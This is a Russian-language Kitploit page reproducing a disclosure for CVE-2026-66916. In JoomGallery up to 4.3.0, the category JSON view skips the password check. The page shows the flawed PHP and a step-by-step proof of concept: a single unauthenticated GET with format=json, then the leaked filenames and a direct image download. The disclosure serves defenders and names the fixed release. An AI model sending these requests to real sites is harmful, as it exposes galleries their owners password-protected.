Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-66916 — Обход защиты паролем категории через JSON-формат в JoomGallery | Kitploit
Инструменты/GitHubGitHub/toanln-cov/cve-2026-66916
Анализ уязвимостейЭксплуатация веб-приложенийВеб-безопасность
GitHubtoanln-cov/cve-2026-66916

CVE-2026-66916

Обход защиты паролем категории через JSON-формат в JoomGallery

Репозиторий
1 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Обход защиты паролем категории через JSON-формат в JoomGallery

JoomGallery ≤ 4.3.0-stable — неаутентифицированный злоумышленник обходит парольный шлюз и скачивает защищённые изображения

CVE CVSS v4.0 CWE-284 Affected Researcher


СВОДКА

В JSON-представлении категорий JoomGallery существует обход контроля доступа без аутентификации. Когда категория галереи защищена паролем, HTML-представление корректно применяет парольный шлюз, но JSON-представление (format=json) полностью пропускает эту проверку.

Удалённый злоумышленник без каких-либо учётных данных может получить заголовок категории, описание и рандомизированные имена файлов всех защищённых изображений, а затем напрямую скачать эти изображения. Защита паролем обходится одним HTTP-запросом.

Обход ограничен категориями, уровень доступа ACL которых в Joomla установлен как Public (access=1). Категории, ограниченные уровнем доступа Registered или Special, по-прежнему блокируются на уровне ACL в JsonView.php:69.


ЗАТРОНУТЫЕ ВЕРСИИ

Скачать инструмент
КОМПОНЕНТУЯЗВИМАЯ ВЕРСИЯПРОТЕСТИРОВАНО НАИСПРАВЛЕНО
JoomGallery4.3.0-stableJoomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache)4.4.0

ДЕТАЛИ УЯЗВИМОСТИ

Тип: Некорректный контроль доступа (CWE-284) Требуется аутентификация: Нет — без аутентификации, один HTTP-запрос Файл: site/com_joomgallery/src/View/Category/JsonView.php, строки 76–96

Корневая причина

JoomGallery реализует защиту категорий паролем с помощью флага pw_protected. Эта проверка присутствует в HtmlView.php, но полностью отсутствует в JsonView.php:

HTMLVIEW.PHP — КОРРЕКТНО (проверка присутствует)

root@kitploit:~
// контент скрывается и выводится форма ввода пароля
if (!$this->item->pw_protected) {
    $this->item->images->items   = $model->getImages();
    $this->item->children->items = $model->getChildren();
}

JSONVIEW.PHP — УЯЗВИМ (проверка отсутствует)

root@kitploit:~
// JsonView.php:76-96 — нет проверки pw_protected; контент возвращается безусловно
$this->item->parent          = $model->getParent();
$this->item->children->items = $model->getChildren();  // выполняется всегда
$this->item->images->items   = $model->getImages();    // выполняется всегда
$this->output($this->item);  // сериализует полный ответ в JSON, включая имена файлов

Параметр format=json в Joomla направляет тот же URL в отдельный класс View. Каждое View должно самостоятельно обеспечивать проверки доступа — фреймворк не распространяет их автоматически. Разработчик добавил проверку pw_protected в HtmlView, но пропустил её в JsonView.

Защита паролем в JoomGallery основана на сохранении имён файлов изображений в тайне — файлы хранятся как статические ресурсы в /images/joomgallery/originals/ и обслуживаются напрямую Apache без какой-либо серверной аутентификации. Имена файлов рандомизированы (например, secret-image-1_20260803_1951053711.jpg) и раскрываются только после прохождения проверки пароля через слой PHP/Joomla. JSON-обход нарушает эту модель, раскрывая имена файлов неаутентифицированным запрашивающим, что завершает цепочку атаки до полного получения изображений.


ДОКАЗАТЕЛЬСТВО КОНЦЕПЦИИ

Лабораторная установка:

  • Категория: Secret Gallery (id=3, pw_protected=true, access=Public)
  • Содержимое: Secret Image 1 (secret-image-1_20260803_1951053711.jpg)
  • Никаких cookie, сессий или учётных данных в любом из шагов ниже не используется

1. HTML-представление применяет парольный шлюз

root@kitploit:~
GET /index.php/component/joomgallery/category/3

Результат: Выводится форма ввода пароля. Содержимое категории не отображается.

Шаг 1 — HTML парольный шлюз


2. Прямой доступ к изображению также заблокирован через HTML

root@kitploit:~
GET /index.php/gallery/categories/3-secret-gallery

Результат: Прямой доступ к изображению заблокирован в пути Alias (/3-secret-gallery)

Шаг 2 — Доступ к изображению заблокирован


3. JSON-формат обходит проверку пароля — утечка реального имени файла

root@kitploit:~
GET /index.php?option=com_joomgallery&view=category&format=json&id=3

Ответ (HTTP 200, без аутентификации):

root@kitploit:~
{
  "success": true,
  "data": {
    "title": "Secret Gallery",
    "description": "<p>SENSITIVE: Internal photos — restricted access</p>",
    "pw_protected": true,
    "access": 1,
    "images": {
      "items": [
        {
          "title": "Secret Image 1",
          "filename": "secret-image-1_20260803_1951053711.jpg",
          "cattitle": "Secret Gallery",
          "access": "Public"
        }
      ]
    }
  }
}

pw_protected: true подтверждает, что пароль установлен. Несмотря на это, полный ответ, включая рандомизированное имя файла, возвращается неаутентифицированному вызывающему.

Шаг 3 — JSON-обход раскрывает имя файла


4. Скачивание защищённого изображения с использованием раскрытого имени файла

Используя имя файла, полученное на шаге 3

Результат: HTTP 200 — файл изображения возвращается напрямую Apache. Аутентификация не требуется.

Шаг 4 — Защищённое изображение скачано


ВОЗДЕЙСТВИЕ

  1. Чтение метаданных защищённой категории — заголовок, описание, информация о создании, иерархия родительских категорий — всё возвращается без аутентификации
  2. Перечисление имён всех файлов изображений в любой защищённой паролем категории с доступом Public с помощью одного JSON-запроса
  3. Скачивание всех защищённых изображений в полном исходном разрешении через прямой доступ к статическим файлам с использованием раскрытых реальных имён файлов

Любая категория галереи, которую администратор защитил паролем, полностью скомпрометирована. Злоумышленнику требуется лишь числовой идентификатор категории, который является последовательным и тривиально перебираемым.


ССЫЛКИ

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-66916
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-66916
  • GitHub Advisory: https://github.com/advisories/GHSA-g79m-pfhw-2c5m
  • Репозиторий вендора: https://github.com/JoomGallery/JoomGallery
  • Примечание к новому релизу вендора: https://www.joomgalleryfriends.net/en/blog/joomgallery-4-en/joomgallery-4-4-0.html